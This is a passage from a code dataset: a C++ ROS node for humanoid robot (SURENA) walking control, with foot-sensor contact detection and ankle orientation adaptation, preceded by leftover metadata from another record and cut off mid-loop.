"pioneer/artoolkit_localization/ukf_figama/ukfMed.cpp", "max_issues_repo_name": "lara-unb/amora", "max_issues_repo_head_hexsha": "05ce66f3a9ad52db35aad06d6315c5fa824effd0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pioneer/artoolkit_localization/ukf_figama/ukfMed.cpp", "max_forks_repo_name": "lara-unb/amora", "max_forks_repo_head_hexsha": "05ce66f3a9ad52db35aad06d6315c5fa824effd0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4.0, "max_forks_repo_forks_event_min_datetime": "2016-06-10T14:05:57.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-30T07:59:15.000Z", "avg_line_length": 19.8260869565, "max_line_length": 91, "alphanum_fraction": 0.5964912281, "num_tokens": 141, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5350984286266116, "lm_q2_score": 0.20689405370611846, "lm_q1q2_score": 0.11070868303033378}}
{"text": "#include \"ros/ros.h\"\n#include \"std_msgs/String.h\"\n#include\"Eigen/Dense\"\n#include <vector>\n#include <iostream>\n#include <QString>\n#include <QList>\n#include \"Robot.h\"\n//#include\"TaskSpace.h\"\n#include\"taskspaceonline2.h\"\n#include <qmath.h>\n#include <cstring>\n#include<qdebug.h>\n#include <Eigen/Geometry>\n#include <cstdlib>\n//#include <link.h>\n#include \"Eigen/eiquadprog.h\"\n#include \"Eigen/Core\"\n#include \"Eigen/Cholesky\"\n#include \"Eigen/LU\"\n#include<std_msgs/Int32MultiArray.h>\n#include<std_msgs/Float32MultiArray.h>\n#include<math.h>\n#include<sensor_msgs/Imu.h>\n#include<std_msgs/Float64.h>\n#include \"qcgenerator.h\"\n#include<termios.h>\n#include<gazebo_msgs/LinkStates.h>\n#include<sensor_msgs/JointState.h>\n#include\"pidcontroller.h\"\n\n\n\n\nros::Publisher pub1  ;\nros::Publisher pub2  ;\nros::Publisher pub3  ;\nros::Publisher pub4  ;\nros::Publisher pub5  ;\nros::Publisher pub6  ;\nros::Publisher pub7  ;\nros::Publisher pub8  ;\nros::Publisher pub9  ;\nros::Publisher pub10 ;\nros::Publisher pub11 ;\nros::Publisher pub12 ;\nros::Publisher pub13 ;\nros::Publisher pub14 ;\nros::Publisher pub15 ;\nros::Publisher pub16 ;\nros::Publisher pub17 ;\nros::Publisher pub18 ;\nros::Publisher pub19 ;\nros::Publisher pub20 ;\nros::Publisher pub21 ;\nros::Publisher pub22 ;\nros::Publisher pub23 ;\nros::Publisher pub24 ;\nros::Publisher pub25 ;\nros::Publisher pub26 ;\nros::Publisher pub27 ;\nros::Publisher pub28 ;\n\n//ros::Publisher pid1 ;\n\n\n\nint getch()\n{\n  static struct termios oldt, newt;\n  tcgetattr( STDIN_FILENO, &oldt);           // save old settings\n  newt = oldt;\n  newt.c_lflag &= ~(ICANON);                 // disable buffering\n  tcsetattr( STDIN_FILENO, TCSANOW, &newt);  // apply new settings\n\n  int c = getchar();  // read character (non-blocking)\n\n  tcsetattr( STDIN_FILENO, TCSANOW, &oldt);  // restore old settings\n  return c;\n}\n\n\nvoid  SendGazebo(QList<LinkM> links,MatrixXd RollModifieds, double PitchModifieds, double theta_r, double phi_r, double theta_l, double phi_l){\n    if(links.count()<28){qDebug()<<\"index err\";return;}\n    std_msgs::Float64 data;\n\n    data.data=links[1].JointAngle;\n    pub1.publish(data);\n    data.data=links[2].JointAngle+RollModifieds(0,0);\n    pub2.publish(data);\n    data.data=links[3].JointAngle+PitchModifieds;\n    pub3.publish(data);\n    data.data=links[4].JointAngle;\n    pub4.publish(data);\n    data.data=links[5].JointAngle+theta_r;\n    pub5.publish(data);\n    data.data=links[6].JointAngle+phi_r;\n    pub6.publish(data);\n    data.data=links[7].JointAngle;\n    pub7.publish(data);\n    data.data=links[8].JointAngle+RollModifieds(1,0);\n    pub8.publish(data);\n    data.data=links[9].JointAngle+PitchModifieds;\n    pub9.publish(data);\n    data.data=links[10].JointAngle;\n    pub10.publish(data);\n    data.data=links[11].JointAngle+theta_l;\n    pub11.publish(data);\n    data.data=links[12].JointAngle+phi_l;\n    pub12.publish(data);\n    data.data=links[13].JointAngle;\n    pub13.publish(data);\n    data.data=links[14].JointAngle;\n    pub14.publish(data);\n    data.data=links[15].JointAngle;\n    pub15.publish(data);\n    data.data=links[16].JointAngle;\n    pub16.publish(data);\n    data.data=links[17].JointAngle;\n    pub17.publish(data);\n    data.data=links[18].JointAngle;\n    pub18.publish(data);\n    data.data=links[19].JointAngle;\n    pub19.publish(data);\n    data.data=links[20].JointAngle;\n    pub20.publish(data);\n    data.data=links[21].JointAngle;\n    pub21.publish(data);\n    data.data=links[22].JointAngle;\n    pub22.publish(data);\n    data.data=links[23].JointAngle;\n    pub23.publish(data);\n    data.data=links[24].JointAngle;\n    pub24.publish(data);\n    data.data=links[25].JointAngle;\n    pub25.publish(data);\n    data.data=links[26].JointAngle;\n    pub26.publish(data);\n    data.data=links[27].JointAngle;\n    pub27.publish(data);\n    data.data=links[28].JointAngle;\n    pub28.publish(data);\n\n\n\n}\n\n\n\n\n\n\nusing namespace  std;\nusing namespace  Eigen;\n//data of left foot sensor\nint a;\nint b;\nint c;\nint d;\n\nint e;\nint f;\nint g;\nint h;\n\nbool RFT;//True Right Support Phase used in Taskspace online (in Ankle Trajectory)\nbool LFT;//True Left Support Phase used in Taskspace online (in Ankle Trajectory)\nbool KRtemp;// for online: when true-> current positon is updated _end of step)\nbool KLtemp;// for online\nbool aState;\nbool bState;\nbool cState;\nbool dState;\nbool LeftFootLanded;\nbool RightFootLanded;\n//bool FullContactDetected;\n\n//angles of ankle adaptation\ndouble teta_motor_L;//pitch\ndouble teta_motor_R;\ndouble phi_motor_L;//roll\ndouble phi_motor_R;\n\n//offsets after adaptation\ndouble Offset_teta_L;\ndouble Offset_teta_R;\ndouble Offset_phi_L;\ndouble Offset_phi_R;\n\nint qc_offset[12];\ndouble roll_absoulte[4];\nbool qc_initial_bool;\nbool qc_initial_bool_roll;\n//\nvoid receiveFootSensor(const std_msgs::Int32MultiArray& msg)\n{\n    if (msg.data.size()!=8) {\n        qDebug(\"the size of sensor data is in wrong\");\n        return;\n    }\n\n    //ROS_INFO(\"I heard: [%d  %d %d %d %d  %d %d %d]\", (int)msg.data[0],(int)msg.data[1],(int)msg.data[2],(int)msg.data[3],(int)msg.data[4],(int)msg.data[5],(int)msg.data[6],(int)msg.data[7]);\n    int temp[8];\n    int tempInt[8];\n\n\n    temp[0]=msg.data[0]-1012;\n    temp[1]=-1*(msg.data[1]-924);\n    temp[2]=msg.data[2]-3038;\n    temp[3]=-1*(msg.data[3]-3098);\n\n    //normalizing data of sensors\n    temp[0]=temp[0]*(100.0/(1097-1011));\n    temp[1]=temp[1]*(100.0/(925-841));\n    temp[2]=temp[2]*(100.0/(3131-3038));\n    temp[3]=temp[3]*(100.0/(3098-3001));\n\n    tempInt[0]=temp[0];\n    tempInt[1]=temp[1];\n    tempInt[2]=temp[2];\n    tempInt[3]=temp[3];\n\n    a=tempInt[0];\n    b=tempInt[1];\n    c=tempInt[2];\n    d=tempInt[3];\n    //ROS_INFO(\"I heard a b c d: [%d  %d %d %d]\", a,b,c,d);\n\n\n\n    temp[4]=msg.data[4]-3042;\n    temp[5]=-1*(msg.data[5]-3008);\n    temp[6]=msg.data[6]-1133;\n    temp[7]=-1*(msg.data[7]-1016);\n\n    //normalizing data of sensors\n    temp[4]=temp[4]*(100.0/(3126-3042));\n    temp[5]=temp[5]*(100.0/(3008-2914));\n    temp[6]=temp[6]*(100.0/(1225-1133));\n    temp[7]=temp[7]*(100.0/(1016-920));\n\n\n\n    tempInt[4]=temp[4];\n    tempInt[5]=temp[5];\n    tempInt[6]=temp[6];\n    tempInt[7]=temp[7];\n\n    e=tempInt[4];\n    f=tempInt[5];\n    g=tempInt[6];\n    h=tempInt[7];\n    // ROS_INFO(\"I heard e f g h: [%d  %d %d %d]\", e,f,g,h);\n\n    //deleting data with negative sign\n    if (a<0) {\n        a=0;\n\n    }\n    if (b<0) {\n        b=0;\n\n    }\n    if (c<0) {\n        c=0;\n\n    }\n    if (d<0) {\n        d=0;\n\n    }\n\n    if (e<0) {\n        e=0;\n\n    }\n    if (f<0) {\n        f=0;\n\n    }\n    if (g<0) {\n        g=0;\n\n    }\n    if (h<0) {\n        h=0;\n\n    }\n//     ROS_INFO(\"I heard a b c d: [%d  %d %d %d]\", a,b,c,d);\n//     ROS_INFO(\"I heard e f g h: [%d  %d %d %d]\", e,f,g,h);\n\n    // ROS_INFO(\"I heard: [%d  %d %d %d]\", tempInt[0],tempInt[1],tempInt[2],tempInt[3]);\n}\n\n\nvoid qc_initial(const sensor_msgs::JointState & msg){\n    if (qc_initial_bool){\n        for (int i = 0; i < 12; ++i) {\n            qc_offset[i]=int(msg.position[i+1]);\n\n        }\n\n        qc_initial_bool=false;\n        //qc_initial_bool_roll=true;\n\n\n    ROS_INFO(\"Offset=%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t\\nInitialized!\",\n             qc_offset[0],qc_offset[1],qc_offset[2],qc_offset[3],qc_offset[4],\n            qc_offset[5],qc_offset[6],qc_offset[7],qc_offset[8],qc_offset[9],\n            qc_offset[10],qc_offset[11]);}\n //getch();\n}\n\nvoid roll_absolute_correction(const sensor_msgs::JointState & msg){\n    roll_absoulte[2]=roll_absoulte[0];\n    roll_absoulte[3]=roll_absoulte[1];\n    roll_absoulte[0]= -msg.position[10];\n    roll_absoulte[1]= -msg.position[11];\n}\n\n//void roll_qc_init(const sensor_msgs::JointState & msg){\n//    if (!qc_initial_bool && qc_initial_bool_roll){\n\n//        qc_offset[9]=int(msg.position[10]);\n//        qc_offset[10]=int(msg.position[11]);\n\n\n//        ROS_INFO(\"Offset=%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t\\nInitialized!\",\n//                 qc_offset[0],qc_offset[1],qc_offset[2],qc_offset[3],qc_offset[4],\n//                qc_offset[5],qc_offset[6],qc_offset[7],qc_offset[8],qc_offset[9],\n//                qc_offset[10],qc_offset[11]);\n\n//        qc_initial_bool_roll=false;\n//        getch();\n//    }\n//}\n\n\n\n\n//int a,b,c,d,e,f,g,h;\n\nMatrixXd quater2rot(double w,double x,double y, double z){\n    MatrixXd R(3,3);\n    R<<w*w+x*x-y*y-z*z,2*x*y-2*w*z,2*x*z+2*w*y,\n            2*x*y+2*w*z,w*w-x*x+y*y-z*z,2*y*z-2*w*x,\n            2*x*z-2*w*y,2*y*z+2*w*x,w*w-x*x-y*y+z*z;\n    return R;\n\n}\n\nvoid ankle_states(const gazebo_msgs::LinkStates& msg){\n    double x_left, x_right,y_left, y_right,z_left, z_right;\nVector3d vec_A_E;\nVector3d vec_B_F;\nVector3d vec_C_G;\nVector3d vec_D_H;\n\nvec_A_E<<-.085,\n         -.08,\n        -.11;\nvec_B_F<<.135,\n         -.08,\n        -.11;\nvec_C_G<<.135,\n         .08,\n        -.11;\nvec_D_H<<-.085,\n         .08,\n        -.11;\n\n    x_left=msg.pose[7].position.x;\n    x_right=msg.pose[13].position.x;\n    y_left=msg.pose[7].position.y;\n    y_right=msg.pose[13].position.y;\n\n    z_left=msg.pose[7].position.z;\n    z_right=msg.pose[13].position.z;\n\n    MatrixXd R_left(3,3);\n    MatrixXd R_right(3,3);\n    R_left=quater2rot(msg.pose[7].orientation.w,msg.pose[7].orientation.x,msg.pose[7].orientation.y,msg.pose[7].orientation.z);\n    R_right=quater2rot(msg.pose[13].orientation.w,msg.pose[13].orientation.x,msg.pose[13].orientation.y,msg.pose[13].orientation.z);\nVector3d temp;\ntemp=R_left*vec_A_E;\n//A=temp(2)+z_left;\na=int(((.02-temp(2)-z_left)+abs(.02-temp(2)-z_left))*5000/2);\ntemp=R_left*vec_B_F;\n//B=temp(2)+z_left;\nb=int(((.02-temp(2)-z_left)+abs(.02-temp(2)-z_left))*5000/2);\ntemp=R_left*vec_C_G;\n//C=temp(2)+z_left;\nc=int(((.02-temp(2)-z_left)+abs(.02-temp(2)-z_left))*5000/2);\ntemp=R_left*vec_D_H;\n//D=temp(2)+z_left;\nd=int(((.02-temp(2)-z_left)+abs(.02-temp(2)-z_left))*5000/2);\ntemp=R_right*vec_A_E;\n//E=temp(2)+z_right;\ne=int(((.02-temp(2)-z_right)+abs(.02-temp(2)-z_right))*5000/2);\ntemp=R_right*vec_B_F;\n//F=temp(2)+z_right;\nf=int(((.02-temp(2)-z_right)+abs(.02-temp(2)-z_right))*5000/2);\ntemp=R_right*vec_C_G;\n//G=temp(2)+z_right;\ng=int(((.02-temp(2)-z_right)+abs(.02-temp(2)-z_right))*5000/2);\ntemp=R_right*vec_D_H;\n//H=temp(2)+z_right;\nh=int(((.02-temp(2)-z_right)+abs(.02-temp(2)-z_right))*5000/2);\n\n\n //ROS_INFO(\"z_left=%f  A=%d,B=%d,C=%d,D=%d\\tz_right=%f  E=%d,F=%d,G=%d,H=%d\",z_left,a,b,c,d,z_right,e,f,g,h);\n\n//    ROS_INFO(\"x_left=%f,x_right=%f,y_left=%f,y_right=%fz_left=%f,z_right=%f\",x_left,x_right,y_left,y_right,z_left,z_right);\n\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nint main(int argc, char **argv)\n{\ndouble min_test=0;\ndouble max_test=0;\n    vector<double> cntrl(13);\n    QCgenerator QC;\n    for (int i = 0; i < 12; ++i) {\n         qc_offset[i]=0;\n         //qc_corretction[i]=0;\n    }\n    qc_initial_bool=!true;\n    qc_initial_bool_roll=false;\n\n    //check _timesteps\n    QElapsedTimer timer;\n    Robot SURENA;//model of robot & kinematics funcs(IK & FK)\n    TaskSpaceOnline2 SURENAOnlineTaskSpace1;\n    QList<LinkM> links;\n    MatrixXd PoseRoot;//position of pelvis respected to global coordinate\n    MatrixXd PoseRFoot;//position of right ankle joint respected to global coordinate\n    MatrixXd PoseLFoot;//position of left ankle joint respected to global coordinate\n    //double hipRoll=0;\n   // double dt;\n\n    //parameters of ankle adaptation\n    double k1;\n    double k2;\n    double k3;\n    double k4;\n\n    SURENAOnlineTaskSpace1.RightSupport=true; //not changed with sensor data,\n    SURENAOnlineTaskSpace1.LeftSupport=true;\n\n    SURENAOnlineTaskSpace1.RightSensorActive=false; // is set true once when right leg is in swing mode, and immediately false to get out of if statement of bump sensor\n    SURENAOnlineTaskSpace1.LeftSensorActive=false;\n\n\n    SURENAOnlineTaskSpace1.oldLeftFootZ=SURENAOnlineTaskSpace1._lenghtOfAnkle;//expected foot z\n    SURENAOnlineTaskSpace1.oldRightFootZ=SURENAOnlineTaskSpace1._lenghtOfAnkle;\n\n    bool aState=false;\n    bool bState=false;\n    bool cState=false;\n    bool dState=false;\n\n\n    bool eState=false;\n    bool fState=false;\n    bool gState=false;\n    bool hState=false;\n\n    LeftFootLanded=false;//true when landing is detected by sensors\n    RightFootLanded=false;\n   // FullContactDetected=false;\n\n\n    SURENAOnlineTaskSpace1.RightFootOrientationAdaptator=false;//adaptation occurs when true\n    SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator=false;\n\n\n    teta_motor_L=0;\n    teta_motor_R=0;\n    phi_motor_L=0;\n    phi_motor_R=0;\n\n\n    Offset_teta_L=0;\n    Offset_teta_R=0;\n    Offset_phi_L=0;\n    Offset_phi_R=0;\n\n\n\n    double footSensorSaturation=75;//if all sensors data are bigger than this amount, this means the foot is landed on the ground\n    double footSensorthreshold=4;// will start orientaition correction\n\n    double StartTime=0;//starttime does not mean start time,but means global time\n    double  DurationOfStartPhase=6;\n    double  DurationOfendPhase=6;\n    //SURENAOnlineTaskSpace.GetAccVelPos();\n    bool startPhase=true;\n    bool endPhase=true;\n    bool walk=true;\n      MatrixXd RollModified(2,1);//parameters for hip roll angles charge, for keep pelvis straight\n     RollModified<<0,0;\n     double pitchOffset=SURENAOnlineTaskSpace1.HipPitchModification;\n     double PitchModified=0;\n    PoseRoot.resize(6,1); //pelvis trajectory from taskspace_online,xyzrpy\n    PoseRFoot.resize(6,1);//right ankle joint trajectory from taskspace_online,xyzrpy\n    PoseLFoot.resize(6,1);//left ankle joint trajectory from taskspace_online,xyzrpy\n    //QList<LinkM> links;\n    bool indexLastDS=true;//used in last double support\n\n    //*******************This part of code is for initialization of joints of the robot for walking**********************************\n    int count = 0;\n\n    ros::init(argc, argv, \"myNode\");\n\n    ros::NodeHandle nh;\n    ros::Publisher  chatter_pub  = nh.advertise<std_msgs::Int32MultiArray>(\"jointdata/qc\",1000);\n\n\n    ros::Publisher  contact_flag  = nh.advertise<std_msgs::Int32MultiArray>(\"contact_flag_timing\",100);\n ros::Subscriber sub = nh.subscribe(\"/surena/bump_sensor_state\", 1000, receiveFootSensor);\n ros::Subscriber qcinit = nh.subscribe(\"/surena/inc_joint_state\", 1000, qc_initial);\nros::Subscriber roll_absolute_sub = nh.subscribe(\"/surena/abs_joint_state\",1000,roll_absolute_correction);\n//ros::Subscriber roll_qc_init_sub = nh.subscribe(\"/surena/abs_joint_num\",1000,roll_qc_init);\n\n\n//    pub1  = nh.advertise<std_msgs::Float64>(\"rrbot/joint1_position_controller/command\",1000);\n//    pub2  = nh.advertise<std_msgs::Float64>(\"rrbot/joint2_position_controller/command\",1000);\n//    pub3  = nh.advertise<std_msgs::Float64>(\"rrbot/joint3_position_controller/command\",1000);\n//    pub4  = nh.advertise<std_msgs::Float64>(\"rrbot/joint4_position_controller/command\",1000);\n//    pub5  = nh.advertise<std_msgs::Float64>(\"rrbot/joint5_position_controller/command\",1000);\n//    pub6  = nh.advertise<std_msgs::Float64>(\"rrbot/joint6_position_controller/command\",1000);\n//    pub7  = nh.advertise<std_msgs::Float64>(\"rrbot/joint7_position_controller/command\",1000);\n//    pub8  = nh.advertise<std_msgs::Float64>(\"rrbot/joint8_position_controller/command\",1000);\n//    pub9  = nh.advertise<std_msgs::Float64>(\"rrbot/joint9_position_controller/command\",1000);\n//    pub10 = nh.advertise<std_msgs::Float64>(\"rrbot/joint10_position_controller/command\",1000);\n//    pub11 = nh.advertise<std_msgs::Float64>(\"rrbot/joint11_position_controller/command\",1000);\n//    pub12 = nh.advertise<std_msgs::Float64>(\"rrbot/joint12_position_controller/command\",1000);\n//    pub13 = nh.advertise<std_msgs::Float64>(\"rrbot/joint13_position_controller/command\",1000);\n//    pub14 = nh.advertise<std_msgs::Float64>(\"rrbot/joint14_position_controller/command\",1000);\n//    pub15 = nh.advertise<std_msgs::Float64>(\"rrbot/joint15_position_controller/command\",1000);\n//    pub16 = nh.advertise<std_msgs::Float64>(\"rrbot/joint16_position_controller/command\",1000);\n//    pub17 = nh.advertise<std_msgs::Float64>(\"rrbot/joint17_position_controller/command\",1000);\n//    pub18 = nh.advertise<std_msgs::Float64>(\"rrbot/joint18_position_controller/command\",1000);\n//    pub19 = nh.advertise<std_msgs::Float64>(\"rrbot/joint19_position_controller/command\",1000);\n//    pub20 = nh.advertise<std_msgs::Float64>(\"rrbot/joint20_position_controller/command\",1000);\n//    pub21 = nh.advertise<std_msgs::Float64>(\"rrbot/joint21_position_controller/command\",1000);\n//    pub22 = nh.advertise<std_msgs::Float64>(\"rrbot/joint22_position_controller/command\",1000);\n//    pub23 = nh.advertise<std_msgs::Float64>(\"rrbot/joint23_position_controller/command\",1000);\n//    pub24 = nh.advertise<std_msgs::Float64>(\"rrbot/joint24_position_controller/command\",1000);\n//    pub25 = nh.advertise<std_msgs::Float64>(\"rrbot/joint25_position_controller/command\",1000);\n//    pub26 = nh.advertise<std_msgs::Float64>(\"rrbot/joint26_position_controller/command\",1000);\n//    pub27 = nh.advertise<std_msgs::Float64>(\"rrbot/joint27_position_controller/command\",1000);\n//    pub28 = nh.advertise<std_msgs::Float64>(\"rrbot/joint28_position_controller/command\",1000);\n\n    ros::Subscriber ankleStates = nh.subscribe(\"/gazebo/link_states\", 10, ankle_states);\n\n\n\nint32_t contact_flag_timing=1000;\nint32_t contact_flag_sensor=1000;\nint32_t contact_flag_sensor2=1000;\n\n    ros::Rate loop_rate(200);\n    std_msgs::Int32MultiArray msg;\nstd_msgs::Int32MultiArray roll_modif_msg;\n    std_msgs::Int32MultiArray msg_contact_flag;\n    std_msgs::MultiArrayDimension msg_dim;\n\n    msg_dim.label = \"joint_position\";\n    msg_dim.size = 1;\n\n    msg.layout.dim.clear();\n    msg.layout.dim.push_back(msg_dim);\n\nmsg_contact_flag.data.clear();\nmsg_contact_flag.data.push_back(contact_flag_timing);\n\n//msg_flag.data=-msg_flag.data;\n\n    k1=0.000015;\n    k2=0.000015;\n    k3=0.000015;\n    k4=0.000015;\n\n\n\n    KRtemp=false;\n    KLtemp=false;\n    RFT=false;\n    LFT=false;\n    links=SURENA.GetLinks();\n    SURENAOnlineTaskSpace1.StepNumber=1;\n\n    MatrixXd P;\n    MatrixXd Pz;\n\n\n\nROS_INFO(\"press any key to start!\");\ngetch();\nROS_INFO(\"started!\");\n\n\nbool firstcontact=true;\n\n\n//-------------------------------------------------\n\n\n//while (ros::ok()) {\n//    if (qc_initial_bool) {\n//         ROS_INFO(\"qc is initializing!\");\n//            ros::spinOnce();\n// continue;\n//     }\n//    msg.data.clear();\n//    for(int  i = 0;i < 12;i++)\n//    {\n//        msg.data.push_back(qc_offset[i]);\n//    }\n\n//    for(int  i = 12;i < 28;i++)\n//    {\n//        msg.data.push_back(0);\n//    }\n\n//    chatter_pub.publish(msg);\n//    ros::spinOnce();\n//    loop_rate.sleep();\n//}\n// ROS_INFO(\"exit\");\n\n//exit(0);\n// ROS_INFO(\"exit4\");\n //------------------------------------------------------\n    while (ros::ok())\n    {\n\n       //  for robot test musbe uncommented\n       if (qc_initial_bool) {\n            ROS_INFO(\"qc is initializing!\");\n               ros::spinOnce();\n    continue;\n        }\n\n\n\n//\n  //   ROS_INFO(\"a=%d b=%d c=%d d=%d e=%d f=%d g=%d h=%d\",a,b,c,d,e,f,g,h);\n\n       // ROS_INFO(\"%d\\t%f\",SURENAOnlineTaskSpace1.localtimingInteger,SURENAOnlineTaskSpace1.localTiming);\n        //-------------flag to show expected contact according to timing-------------//\n        //-------------sign of flag changes-------------//\n        if(SURENAOnlineTaskSpace1.localTiming<.1){contact_flag_timing=-contact_flag_timing;}\n       // ROS_INFO(\"globaltime=%f\\tlocaltiming=%f  %d\",StartTime,SURENAOnlineTaskSpace1.localTiming,contact_flag_timing);\n\n//ROS_INFO(\"a=%d,  b=%d,  c=%d,  d=%d,  e=%d,  f=%d,  g=%d,  h=%d\",a,b,c,d,e,f,g,h);\n        //-------------for detecting the first contact of Left foot with ground-------------//\n        //-------------flag to show contact detected by sensors-------------//\n        //-------------sign of flag changes-------------//\n\n\n\n        if (SURENAOnlineTaskSpace1.LeftSensorActive==true && firstcontact==true &&( (a)>=footSensorSaturation || (b)>=footSensorSaturation || (c)>=footSensorSaturation || (d)>=footSensorSaturation)){\n            contact_flag_sensor2=-contact_flag_sensor2;\n            firstcontact=false;\n            ROS_INFO(\"shalap [%f  %f] a=%d b=%d c=%d d=%d\", SURENAOnlineTaskSpace1.localTiming,SURENAOnlineTaskSpace1.globalTime,a,b,c,d);\n\n        }\n\n\n\n        //-------------for detecting the full contact of Left foot with ground-------------//\n        //-------------flag to show contact detected by sensors-------------//\n        //-------------sign of flag changes-------------//\n        if (SURENAOnlineTaskSpace1.LeftSensorActive==true && (a)>=footSensorSaturation && (b)>=footSensorSaturation && (c)>=footSensorSaturation && (d)>=footSensorSaturation){\n            contact_flag_sensor=-contact_flag_sensor;\n            ROS_INFO(\"left swing foot landing is successful = [%f  %f] a=%d b=%d c=%d d=%d\", SURENAOnlineTaskSpace1.localTiming,SURENAOnlineTaskSpace1.globalTime,a,b,c,d);\n            aState=true;\n            bState=true;\n            cState=true;\n            dState=true;\n            LeftFootLanded=true;//this variable is used for flag up when the left foot have a full contact with the ground\n            SURENAOnlineTaskSpace1.LeftSensorActive=false;\n            firstcontact=true;\n            SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator=false;\n            //do nothing all sensors are on the ground\n\n            Offset_teta_L=teta_motor_L;\n            Offset_phi_L=phi_motor_L;\n\n\n            //exit(0);//will finish the code but during walking is not true\n        }\n\n        else if (/*SURENAOnlineTaskSpace1.LeftSensorActive==false*/true) {//---------when the four left foot sensors are not saturated-->>>>during landing------//\n\n            LeftFootLanded=false;\n            if ((a)>=footSensorthreshold ){aState=true;}else {aState=false;}\n            if ((b)>=footSensorthreshold ){bState=true;}else {bState=false;}\n            if ((c)>=footSensorthreshold ){cState=true;}else {cState=false;}\n            if ((d)>=footSensorthreshold ){dState=true;}else {dState=false;}\n\n\n            //-----------------Pitch left ankle motor control---------------//\n            if (abs(b-a)>=abs(c-d)) {\n                if (abs(a-b)<100) {\n                    teta_motor_L=1*teta_motor_L+k1*(SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*(a-b);\n                }\n                else {\n                    teta_motor_L=teta_motor_L;\n                }\n            }\n            else {\n                if (abs(d-c)<100) {\n                    teta_motor_L=1*teta_motor_L+k1*(SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*(d-c);\n                }\n                else {\n                    teta_motor_L=teta_motor_L;\n                }\n            }\n\n\n            //----------------Roll left ankle motor control---------------//\n            if (abs(c-b)>=abs(d-a)) {\n                if (abs(c-b)<100) {\n                    phi_motor_L=1*phi_motor_L+k2*(SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*(c-b);\n                }\n                else {\n                    phi_motor_L=phi_motor_L;\n                }\n            }\n            else {\n                if (abs(a-d)<100) {\n                    phi_motor_L=1*phi_motor_L+k2*(SURENAOnlineTaskSpace1.LeftFootOrientationAdaptator==true)*(d-a);\n                }\n                else {\n                    phi_motor_L=phi_motor_L;\n                }\n            }\n        }\n\n        //        ROS_INFO(\"Tc= [%d] \", SURENAOnlineTaskSpace1.Tc);\n        //        ROS_INFO(\"Tds= [%f] \", SURENAOnlineTaskSpace1.TDs);\n\n        //-------------for detecting the first contact of Right foot with ground-------------//\n        //-------------flag to show contact detected by sensors-------------//\n        //-------------sign of flag changes-------------//\n        if (SURENAOnlineTaskSpace1.RightSensorActive==true && firstcontact==true && ( (e)>=footSensorSaturation || (f)>=footSensorSaturation || (g)>=footSensorSaturation || (h)>=footSensorSaturation)){\n            contact_flag_sensor2=-contact_flag_sensor2;\n            firstcontact=false;\n           ROS_INFO(\"shooloop[%f  %f]  e=%d f=%d g=%d h=%d\", SURENAOnlineTaskSpace1.localTiming,SURENAOnlineTaskSpace1.globalTime,e,f,g,h);\n        }\n\n        //-------------for detecting the full contact of Right foot with ground-------------//\n        if (SURENAOnlineTaskSpace1.RightSensorActive==true && (e)>=footSensorSaturation && (f)>=footSensorSaturation && (g)>=footSensorSaturation && (h)>=footSensorSaturation){\n            // qDebug(\"swing foot landing is successful\");\n            contact_flag_sensor=-contact_flag_sensor;\n            ROS_INFO(\"Right swing foot landing is successful= [%f  %f]  e=%d f=%d g=%d h=%d\", SURENAOnlineTaskSpace1.localTiming,SURENAOnlineTaskSpace1.globalTime,e,f,g,h);\n            eState=true;\n            fState=true;\n            gState=true;\n            hState=true;\n\n\n            RightFootLanded=true;//this variable is used for flag up when the left foot have a full contact with the ground\n            SURENAOnlineTaskSpace1.RightSensorActive=false;\n            firstcontact=true;\n            //do nothing all sensors are on the ground\n            SURENAOnlineTaskSpace1.RightFootOrientationAdaptator=false;\n\n\n            Offset_teta_R=teta_motor_R;\n            Offset_phi_R=phi_motor_R;\n            //exit(0);//will finish the code but during walking is not true\n        }\n\n        else if(/*SURENAOnlineTaskSpace1.RightSensorActive==false*/ true) {//---------when the four left foot sensors are not saturated-->>>>during landing------//\n\n            RightFootLanded=false;\n            if ((e)>=footSensorthreshold ){eState=true;}else {eState=false;}\n            if ((f)>=footSensorthreshold ){fState=true;}else {fState=false;}\n            if ((g)>=footSensorthreshold ){gState=true;}else {gState=false;}\n            if ((h)>=footSensorthreshold ){hState=true;}else {hState=false;}\n\n\n            //-----------------Pitch left ankle motor control---------------//\n            if (abs(f-e)>=abs(g-h)) {\n                if (abs(e-f)<100) {\n                    teta_motor_R=1*teta_motor_R+k3*(SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*(e-f);\n                }\n                else {\n                    teta_motor_R=teta_motor_R;\n                }\n            }\n            else {\n                if (abs(h-g)<100) {\n                    teta_motor_R=1*teta_motor_R+k3*(SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*(h-g);\n                }\n                else {\n                    teta_motor_R=teta_motor_R;\n                }\n            }\n\n\n            //----------------Roll left ankle motor control---------------//\n            if (abs(g-f)>=abs(h-e)) {\n                if (abs(g-f)<100) {\n                    phi_motor_R=1*phi_motor_R+k4*(SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*(g-f);\n                }\n                else {\n                    phi_motor_R=phi_motor_R;\n                }\n            }\n            else {\n                if (abs(e-h)<100) {\n                    phi_motor_R=1*phi_motor_R+k4*(SURENAOnlineTaskSpace1.RightFootOrientationAdaptator==true)*(h-e);\n                }\n                else {\n                    phi_motor_R=phi_motor_R;\n                }\n            }\n        }\n\n\n\n\n\n        //------------------------saturation of ankle motors----------------------------//\n        if ((abs(phi_motor_L))>0.9) {\n            phi_motor_L=0.9;\n        }\n        if ((abs(teta_motor_L))>0.9) {\n            teta_motor_L=0.9;\n        }\n        if ((abs(phi_motor_R))>0.9) {\n            phi_motor_L=0.9;\n        }\n        if ((abs(teta_motor_R))>0.9) {\n            teta_motor_R=0.9;\n        }\n\n\n        // ROS_INFO(\"I heard data of 